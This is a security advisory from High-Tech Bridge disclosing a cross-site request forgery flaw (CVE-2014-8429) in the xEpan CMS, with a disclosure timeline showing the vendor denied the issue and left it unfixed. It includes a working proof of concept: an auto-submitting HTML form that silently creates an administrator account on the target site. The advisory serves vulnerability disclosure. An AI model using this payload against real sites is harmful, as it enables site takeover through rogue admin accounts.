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Сross-Site Request Forgery (CSRF) in xEpan

Advisory ID:HTB23240
Product:xEpan
Vendor:Xavoc Technocrats Pvt. Ltd.
Vulnerable Versions:1.0.1 and probably prior
Tested Version:1.0.1
Advisory Publication:October 22, 2014 [without technical details]
Vendor Notification:October 22, 2014
Public Disclosure:November 26, 2014
Latest Update:November 26, 2014
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2014-8429
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Not Fixed
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in xEpan, which can be exploited to compromise vulnerable web site.


1) Сross-Site Request Forgery (CSRF) in xEpan: CVE-2014-8429

The vulnerability exists due to insufficient validation of the HTTP request origin when creating new user accounts. A remote unauthenticated attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit, create new account with administrative privileges and get total control over the vulnerable website.

A simple CSRF exploit below creates an administrative account with username "immuniweb" and password "password":

<form action="http://[host]/?page=owner/users&web_owner_users_crud_virtualpage=add &submit=web_web_owner_users_crud_virtualpage_form" method="post" name="main">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_name" value="name">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_email" value="email@email.com">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_username" value="immuniweb">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_password" value="password">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_created_at" value="21/10/2014">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_type" value="100">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_is_active" value="1">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_activation_code" value="">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_last_login_date" value="">
<input type="hidden" name="ajax_submit" value="form_submit">
<input type="submit" id="btn">
</form>

<script>
document.main.submit();
</script>

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Solution:
Currently we are not aware of any official solution for this vulnerability.

Disclosure timeline:
2014-10-22 Vendor notified via several emails.
2014-10-22 Vendor denies vulnerability.
2014-11-06 Vulnerability is confirmed in the latest version of xEpan 1.0.4 which was released on the 2nd of November (we initially suspected a "silent fix").
2014-11-06 Vulnerability confirmed in 1.0.4 as well. Vendor notified about the problem once again.
2014-11-10 Fix requested via several emails.
2014-11-17 Fix requested via several emails.
2014-11-24 Fix requested via several emails.
2014-11-24 Vulnerability still exist in latest version 1.0.4.1 which was released at November, 20.
2014-11-26 Public disclosure.


References:
[1] High-Tech Bridge Advisory HTB23240 - https://www.immuniweb.com/advisory/HTB23240 - Сross-Site Request Forgery (CSRF) in xEpan.
[2] xEpan - http://www.xepan.org/ - xEpan is a an open source content management system (CMS) with Drag & Drop, bootstrap and live text editing.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.
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